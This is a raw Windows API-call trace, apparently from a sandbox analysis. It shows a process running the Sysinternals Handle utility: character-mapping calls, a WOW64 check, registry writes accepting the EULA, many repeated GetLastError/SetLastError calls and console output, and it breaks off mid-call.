dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0126.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0126.103] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x100) returned 0x2812c0 [0126.103] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0126.103] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x2812c0) returned 0x100 [0126.104] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0126.104] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0126.104] GetCurrentProcess () returned 0xffffffffffffffff [0126.104] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0126.104] GetLastError () returned 0x0 [0126.104] SetLastError (dwErrCode=0x0) [0126.104] GetLastError () returned 0x0 [0126.104] SetLastError (dwErrCode=0x0) [0126.105] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0126.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0126.105] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0126.105] RegCloseKey (hKey=0x78) returned 0x0 [0126.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0126.105] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0126.105] RegCloseKey (hKey=0x78) returned 0x0 [0126.105] GetLastError () returned 0x0 [0126.105] SetLastError (dwErrCode=0x0) [0126.106] GetLastError () returned 0x0 [0126.106] SetLastError (dwErrCode=0x0) [0126.106] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0126.106] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0126.106] RegCloseKey (hKey=0x78) returned 0x0 [0126.106] GetLastError () returned 0x0 [0126.107] SetLastError (dwErrCode=0x0) [0126.107] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x1000) returned 0x2823d0 [0126.107] GetLastError () returned 0x0 [0126.107] SetLastError (dwErrCode=0x0) [0126.107] GetLastError () returned 0x0 [0126.107] SetLastError (dwErrCode=0x0) [0126.107] GetLastError () returned 0x0 [0126.107] SetLastError (dwErrCode=0x0) [0126.107] GetLastError () returned 0x0 [0126.107] SetLastError (dwErrCode=0x0) [0126.107] GetLastError () returned 0x0 [0126.107] SetLastError (dwErrCode=0x0) [0126.107] GetLastError () returned 0x0 [0126.107] SetLastError (dwErrCode=0x0) [0126.107] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.108] SetLastError (dwErrCode=0x0) [0126.108] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.109] SetLastError (dwErrCode=0x0) [0126.109] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.110] SetLastError (dwErrCode=0x0) [0126.110] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.111] GetLastError () returned 0x0 [0126.111] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.112] SetLastError (dwErrCode=0x0) [0126.112] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.113] GetLastError () returned 0x0 [0126.113] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetLastError () returned 0x0 [0126.114] SetLastError (dwErrCode=0x0) [0126.114] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0126.114] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0126.118] GetLastError () returned 0x0 [0126.118] SetLastError (dwErrCode=0x0) [0126.118] GetLastError () returned 0x0 [0126.118] SetLastError (dwErrCode=0x0) [0126.118] GetLastError () returned 0x0 [0126.118] SetLastError (dwErrCode=0x0) [0126.118] GetLastError () returned 0x0 [0126.118] SetLastError (dwErrCode=0x0) [0126.118] GetLastError () returned 0x0 [0126.118] SetLastError (dwErrCode=0x0) [0126.118] GetLastError () returned 0x0 [0126.118] SetLastError (dwErrCode=0x0) [0126.118] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.119] SetLastError (dwErrCode=0x0) [0126.119] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.120] GetLastError () returned 0x0 [0126.120] SetLastError (dwErrCode=0x0) [0126.121] GetLastError () returned 0x0 [0126.121] SetLastError (dwErrCode=0x0) [0126.121] GetLastError () returned 0x0 [0126.121] SetLastError (dwErrCode=0x0) [0126.121] GetLastError () returned 0x0 [0126.121] SetLastError (dwErrCode=0x0) [0126.121] GetLastError () returned 0x0 [0126.121] SetLastError (dwErrCode=0x0) [0126.121] GetLastError () returned 0x0 [0126.121] SetLastError (dwErrCode=0x0) [0126.121] GetLastError () returned 0x0 [0126.121] SetLastError (dwErrCode=0x0) [0126.121] GetLastError () returned 0x0 [0126.121] SetLastError (dwErrCode=0x0) [0126.121] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0126.121] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.123] GetLastError () returned 0x0 [0126.123] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.124] SetLastError (dwErrCode=0x0) [0126.124] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.125] GetLastError () returned 0x0 [0126.125] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.126] GetLastError () returned 0x0 [0126.126] SetLastError (dwErrCode=0x0) [0126.127] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0126.127] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0126.128] GetLastError () returned 0x0 [0126.128] SetLastError (dwErrCode=0x0) [0126.128] GetLastError () returned 0x0 [0126.128] SetLastError (dwErrCode=0x0) [0126.128] GetLastError () returned 0x0 [0126.128] SetLastError (dwErrCode=0x0) [0126.128] GetLastError () returned 0x0 [0126.128] SetLastError (dwErrCode=0x0) [0126.128] GetLastError () returned 0x0 [0126.128] SetLastError (dwErrCode=0x0) [0126.128] GetLastError () returned 0x0 [0126.128] SetLastError (dwErrCode=0x0) [0126.128] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.129] SetLastError (dwErrCode=0x0) [0126.129] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.130] SetLastError (dwErrCode=0x0) [0126.130] GetLastError () returned 0x0 [0126.144] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x280080 | out: hHeap=0x260000) returned 1 [0126.144] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | 